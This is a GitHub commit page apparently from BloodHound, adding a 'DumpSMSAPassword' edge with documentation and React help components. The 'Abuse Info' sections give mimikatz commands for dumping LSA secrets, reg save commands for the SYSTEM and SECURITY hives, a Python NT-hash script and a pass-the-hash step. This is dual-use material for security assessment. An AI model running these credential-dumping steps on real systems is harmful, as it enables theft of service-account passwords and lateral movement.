Skip to content

Commit

Permalink
Merge pull request #626 from simondotsh/master
Browse files Browse the repository at this point in the history
Contribution of the DumpSMSAPassword edge with its documentation
  • Loading branch information
JonasBK authored May 7, 2023
2 parents cd8b372 + e872150 commit 4972d2e
Show file tree
Hide file tree
Showing 13 changed files with 309 additions and 0 deletions.
80 changes: 80 additions & 0 deletions docs/data-analysis/edges.rst
Original file line number Diff line number Diff line change
Expand Up @@ -2227,6 +2227,86 @@ References

|
DumpSMSAPassword
^^^^^^^^^^^^^^^^^^^^

A computer with this indicates that a Standalone Managed Service Account (sMSA)
is installed on it. An actor with administrative privileges on the computer
can retrieve the sMSA's password by dumping LSA secrets.

Abuse Info
------------

From an elevated command prompt on the computer where the sMSA resides, run
mimikatz then execute the following commands:

::

privilege::debug
token::elevate
lsadump::secrets

In the output, find *_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_* suffixed by the
name of the targeted sMSA. The next line contains *cur/hex :* followed with the
sMSA's password hex-encoded.

To use this password, its NT hash must be calculated. This can be done using
a small python script:

::

# nt.py
import sys, hashlib

pw_hex = sys.argv[1]
nt_hash = hashlib.new('md4', bytes.fromhex(pw_hex)).hexdigest()

print(nt_hash)

Execute it like so:

::

python3 nt.py 35f3e1713d61...

To authenticate as the sMSA, leverage pass-the-hash.

Alternatively, to avoid executing mimikatz on the host, you can save a copy of
the *SYSTEM* and *SECURITY* registry hives from an elevated prompt:

::

reg save HKLM\SYSTEM %temp%\SYSTEM & reg save HKLM\SECURITY %temp%\SECURITY

Transfer the files named *SYSTEM* and *SECURITY* that were saved at *%temp%* to
another computer where mimikatz can be safely executed.

On this other computer, run mimikatz from a command prompt then execute the
following command to obtain the hex-encoded password:

::

lsadump::secrets /system:C:\path\to\file\SYSTEM /security:C:\path\to\file\SECURITY

Opsec Considerations
--------------------

Access to registry hives can be monitored and alerted via event ID 4656
(A handle to an object was requested).

References
----------

* https://simondotsh.com/infosec/2022/12/12/assessing-smsa.html
* https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets
* https://github.com/gentilkiwi/mimikatz

|
----

|
AZAddMembers
^^^^^^^^^^^^

Expand Down
1 change: 1 addition & 0 deletions src/AppContainer.jsx
Original file line number Diff line number Diff line change
Expand Up @@ -81,6 +81,7 @@ const fullEdgeList = [
'AddSelf',
'WriteSPN',
'AddKeyCredentialLink',
'DumpSMSAPassword',
'DCSync',
'SyncLAPSPassword'
];
Expand Down
3 changes: 3 additions & 0 deletions src/components/Modals/AddEdgeModal.jsx
Original file line number Diff line number Diff line change
Expand Up @@ -322,6 +322,9 @@ const AddEdgeModal = () => {
<option value='WriteAccountRestrictions'>
WriteAccountRestrictions
</option>
<option value='DumpSMSAPassword'>
DumpSMSAPassword
</option>
</FormControl>
{errors.edgeErrors.length > 0 && (
<span className={styles.error}>
Expand Down
2 changes: 2 additions & 0 deletions src/components/Modals/HelpModal.jsx
Original file line number Diff line number Diff line change
Expand Up @@ -58,6 +58,7 @@ import AddKeyCredentialLink from './HelpTexts/AddKeyCredentialLink/AddKeyCredent
import DCSync from './HelpTexts/DCSync/DCSync';
import SyncLAPSPassword from './HelpTexts/SyncLAPSPassword/SyncLAPSPassword';
import WriteAccountRestrictions from './HelpTexts/WriteAccountRestrictions/WriteAccountRestrictions';
import DumpSMSAPassword from './HelpTexts/DumpSMSAPassword/DumpSMSAPassword';
import AZMGAddMember from './HelpTexts/AZMGAddMember/AZMGAddMember';
import AZMGAddOwner from './HelpTexts/AZMGAddOwner/AZMGAddOwner';
import AZMGAddSecret from './HelpTexts/AZMGAddSecret/AZMGAddSecret';
Expand Down Expand Up @@ -170,6 +171,7 @@ const HelpModal = () => {
DCSync: DCSync,
SyncLAPSPassword: SyncLAPSPassword,
WriteAccountRestrictions: WriteAccountRestrictions,
DumpSMSAPassword: DumpSMSAPassword,
AZMGAddMember: AZMGAddMember,
AZMGAddOwner: AZMGAddOwner,
AZMGAddSecret: AZMGAddSecret,
Expand Down
89 changes: 89 additions & 0 deletions src/components/Modals/HelpTexts/DumpSMSAPassword/Abuse.jsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
import React from 'react';
import {groupSpecialFormat} from "../Formatter";

const Abuse = ({sourceName, sourceType, targetName, targetType}) => {
return (
<>
<p>
From an elevated command prompt on {sourceName}, run
mimikatz then execute the following commands:
</p>

<pre>
<code>
{
"privilege::debug\n" +
"token::elevate\n" +
"lsadump::secrets"
}
</code>
</pre>

<p>
In the output, find <code>_SC_&#123;262E99C9-6160-4871-ACEC-4E61736B6F21&#125;_{targetName.toLowerCase().split('@')[0]}</code>.
The next line contains <code>cur/hex :</code> followed with {targetName}'s
password hex-encoded.
</p>

<p>
To use this password, its NT hash must be calculated. This can be done using
a small python script:
</p>

<pre>
<code>
{
"# nt.py\n" +
"import sys, hashlib\n\n" +

"pw_hex = sys.argv[1]\n" +
"nt_hash = hashlib.new('md4', bytes.fromhex(pw_hex)).hexdigest()\n\n" +

"print(nt_hash)"
}
</code>
</pre>

<p>
Execute it like so:
</p>

<pre>
<code>
python3 nt.py 35f3e1713d61...
</code>
</pre>

<p>
To authenticate as the sMSA, leverage pass-the-hash.
</p>

<p>
Alternatively, to avoid executing mimikatz on {sourceName}, you can save a copy of
the <code>SYSTEM</code> and <code>SECURITY</code> registry hives from an elevated prompt:
</p>

<pre>
<code>
reg save HKLM\SYSTEM %temp%\SYSTEM & reg save HKLM\SECURITY %temp%\SECURITY
</code>
</pre>

<p>
Transfer the files named <code>SYSTEM</code> and <code>SECURITY</code> that were saved
at <code>%temp%</code> to another computer where mimikatz can be safely executed.

On this other computer, run mimikatz from a command prompt then execute the
following command to obtain the hex-encoded password:
</p>

<pre>
<code>
lsadump::secrets /system:C:\path\to\file\SYSTEM /security:C:\path\to\file\SECURITY
</code>
</pre>
</>
)
};

export default Abuse;
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';

const DumpSMSAPassword = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab
eventKey={1}
title='Info'
>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
/>
</Tab>
<Tab
eventKey={2}
title='Abuse Info'
>
<Abuse sourceName={sourceName} sourceType={sourceType} targetName={targetName} />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};

DumpSMSAPassword.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default DumpSMSAPassword;
29 changes: 29 additions & 0 deletions src/components/Modals/HelpTexts/DumpSMSAPassword/General.jsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
import React from 'react';
import PropTypes from 'prop-types';

import { groupSpecialFormat } from '../Formatter';

const General = ({sourceName, sourceType, targetName, targetType}) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} the
Standalone Managed Service Account (sMSA) {targetName} installed on it.
</p>

<p>
With administrative privileges on {sourceName}, it is
possible to dump {targetName}'s password stored in LSA
secrets.
</p>
</>
);
};

General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};

export default General;
15 changes: 15 additions & 0 deletions src/components/Modals/HelpTexts/DumpSMSAPassword/Opsec.jsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
import React from 'react';

const Opsec = () => {

return (
<>
<p>
Access to registry hives can be monitored and alerted via event ID 4656
(A handle to an object was requested).
</p>
</>
)
};

export default Opsec;
16 changes: 16 additions & 0 deletions src/components/Modals/HelpTexts/DumpSMSAPassword/References.jsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
import React from 'react';


const References = () => {
return(
<>
<a href="https://simondotsh.com/infosec/2022/12/12/assessing-smsa.html">https://simondotsh.com/infosec/2022/12/12/assessing-smsa.html</a>
<br />
<a href="https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets">https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets</a>
<br />
<a href="https://github.com/gentilkiwi/mimikatz">https://github.com/gentilkiwi/mimikatz</a>
</>
)
};

export default References;
2 changes: 2 additions & 0 deletions src/components/SearchContainer/EdgeFilter/EdgeFilter.jsx
Original file line number Diff line number Diff line change
Expand Up @@ -101,6 +101,7 @@ const EdgeFilter = ({ open }) => {
'AllowedToAct',
'SQLAdmin',
'HasSIDHistory',
'DumpSMSAPassword',
]}
/>
<EdgeFilterCheck name='CanRDP' />
Expand All @@ -110,6 +111,7 @@ const EdgeFilter = ({ open }) => {
<EdgeFilterCheck name='AllowedToAct' />
<EdgeFilterCheck name='SQLAdmin' />
<EdgeFilterCheck name='HasSIDHistory' />
<EdgeFilterCheck name='DumpSMSAPassword' />
</div>
<div>
<EdgeFilterSection
Expand Down
3 changes: 3 additions & 0 deletions src/index.js
Original file line number Diff line number Diff line change
Expand Up @@ -307,6 +307,7 @@ global.appStore = {
WriteSPN: 'tapered',
AddKeyCredentialLink: 'tapered',
SyncLAPSPassword: 'tapered',
DumpSMSAPassword: 'tapered',
},
},
lowResPalette: {
Expand Down Expand Up @@ -348,6 +349,7 @@ global.appStore = {
HasSIDHistory: 'line',
CanPSRemote: 'line',
SyncLAPSPassword: 'line',
DumpSMSAPassword: 'line',
},
},
highResStyle: {
Expand Down Expand Up @@ -447,6 +449,7 @@ if (typeof conf.get('edgeincluded') === 'undefined') {
HasSIDHistory: true,
CanPSRemote: true,
SyncLAPSPassword: true,
DumpSMSAPassword: true,
AZMGGrantRole: true,
AZMGAddSecret: true,
AZMGAddOwner: true,
Expand Down
1 change: 1 addition & 0 deletions src/js/ingestion_types.js
Original file line number Diff line number Diff line change
Expand Up @@ -72,6 +72,7 @@
* @property {Array.<TypedPrincipal>} AllowedToDelegate
* @property {Array.<TypedPrincipal>} AllowedToAct
* @property {Array.<TypedPrincipal>} HasSIDHistory
* @property {Array.<TypedPrincipal>} DumpSMSAPassword
* @property {SessionAPIResult} Sessions
* @property {SessionAPIResult} PrivilegedSessions
* @property {SessionAPIResult} RegistrySessions
Expand Down
Loading

0 comments on commit 4972d2e

Please sign in to comment.